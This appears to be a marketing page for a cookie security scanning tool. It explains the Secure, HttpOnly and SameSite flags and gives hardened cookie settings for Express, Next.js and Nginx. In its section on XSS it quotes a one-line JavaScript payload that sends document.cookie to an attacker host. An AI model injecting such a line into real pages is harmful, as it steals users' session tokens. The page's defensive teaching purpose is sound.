Free Tool
Cookie Security Checker
Analyze the cookies your website sets. See which ones are missing the Secure, HttpOnly, or SameSite flags — and understand what each gap means for session security.
Sign in with Google or GitHub to run the scan. Your first scan is free — no credit card required.
ZeriFlow Data — 12,400+ sites analyzed
Among 12,400+ sites scanned on ZeriFlow, 43% send session cookies without the HttpOnly flag, and 38% omit the Secure flag — exposing authentication tokens to script access and network interception.
The 3 Critical Cookie Security Flags
Secure Flag
The cookie is only sent over HTTPS connections. Without it, the cookie is transmitted over HTTP — readable by anyone on the same network. Always set for session cookies and authentication tokens.
Set-Cookie: session=abc123; Secure
HttpOnly Flag
The cookie is inaccessible to JavaScript — no document.cookie. Prevents XSS attacks from stealing session tokens — even if an attacker injects a script, they cannot read HttpOnly cookies.
Set-Cookie: session=abc123; HttpOnly
SameSite Attribute
Controls when cookies are sent with cross-site requests. Three values:
SameSite=StrictCookie never sent on cross-site requests — breaks OAuth flows and third-party login redirects.
SameSite=LaxCookie sent on top-level navigations, blocked on subresource loads and fetch requests — the recommended default.
SameSite=NoneAlways sent on cross-site requests — requires the Secure flag, only appropriate for cross-site APIs.
Set-Cookie: session=abc123; SameSite=Lax
Session Fixation and Cookie Theft
Without proper flags, attackers have multiple viable attack paths against your users:
Network sniffing (no Secure)
Cookies are transmitted in plaintext over HTTP. On shared Wi-Fi — airports, hotels, coffee shops — anyone can intercept the session token with a basic packet capture tool.
XSS cookie theft (no HttpOnly)
After finding an XSS vulnerability, an attacker runs: fetch("https://attacker.com/?c=" + document.cookie) — the session token is exfiltrated in a single line of injected JavaScript.
CSRF (no SameSite)
A malicious page tricks an authenticated user's browser into making requests to your application. Without SameSite, the session cookie is automatically attached — the server cannot distinguish the forged request from a legitimate one.
Cookie Scope: Domain and Path Attributes
Domain=.example.comSends the cookie to all subdomains. Use with caution — if any subdomain is compromised (e.g., a staging environment, a user-generated subdomain), the attacker can read your main application's session cookies.
Path=/apiRestricts the cookie to a specific URL path. Reduces surface area if you need different cookies for different parts of the application.
(no Domain attribute)Cookie is scoped to the exact origin domain only — more secure, as it is not automatically shared with subdomains.
Complete Secure Cookie Example
Set-Cookie: session=abc123; Secure; HttpOnly; SameSite=Lax; Path=/; Max-Age=3600
SecureOnly transmitted over HTTPS
HttpOnlyInaccessible to JavaScript
SameSite=LaxNot sent on cross-site subresource requests
Path=/Available across the entire application
Max-Age=3600Expires after 1 hour — reduces theft window
Express
res.cookie('session', value, {
httpOnly: true,
secure: true,
sameSite: 'lax',
maxAge: 3600000
});Next.js (Route Handler)
cookies().set('session', value, {
httpOnly: true,
secure: true,
sameSite: 'lax',
maxAge: 3600
});Nginx (proxy_cookie_flags)
proxy_cookie_flags ~ Secure HttpOnly SameSite=Lax;
Frequently Asked Questions
What is the HttpOnly cookie flag?
The HttpOnly flag marks a cookie as inaccessible to JavaScript — document.cookie will not return it, and no script running on the page can read its value. This directly blocks the most common XSS exploitation technique, where injected scripts exfiltrate session tokens to an attacker-controlled server. All session cookies and authentication tokens should always have HttpOnly set.
What is the SameSite cookie attribute?
SameSite controls whether a cookie is sent with cross-site requests. SameSite=Strict means the cookie is never sent when the request originates from another domain. SameSite=Lax allows the cookie on top-level navigations (e.g., clicking a link) but not on subresource loads or fetch requests. SameSite=None sends the cookie on all cross-site requests but requires the Secure flag. Lax is the recommended default for session cookies.
Can a Secure cookie still be stolen?
Yes — in several scenarios. If the cookie lacks HttpOnly, a successful XSS attack can read it regardless of the Secure flag. If the domain has any active HTTP endpoint (even a redirect), the Secure flag does not protect against SSL stripping attacks. HSTS combined with Secure cookies provides much stronger protection. Subdomain takeovers can also set cookies for parent domains if Domain= is too broad.
Should I use SameSite=Strict or SameSite=Lax?
Use SameSite=Lax for most session cookies. Strict breaks OAuth flows and any authentication that involves a redirect from a third-party provider — users are redirected back to your site but their session cookie is not sent on that first request, causing a login failure. Lax preserves this navigation pattern while still blocking cookies from being sent on embedded resources like images, iframes, or fetch requests from other domains.
How do I set secure cookies in Next.js?
In Next.js App Router, use the cookies() helper from next/headers in a Server Action or Route Handler: cookies().set('session', value, { httpOnly: true, secure: true, sameSite: 'lax', path: '/', maxAge: 3600 }). In API routes using the Pages Router, set the header directly: res.setHeader('Set-Cookie', 'session=value; HttpOnly; Secure; SameSite=Lax; Path=/; Max-Age=3600'). Never set session cookies from client components.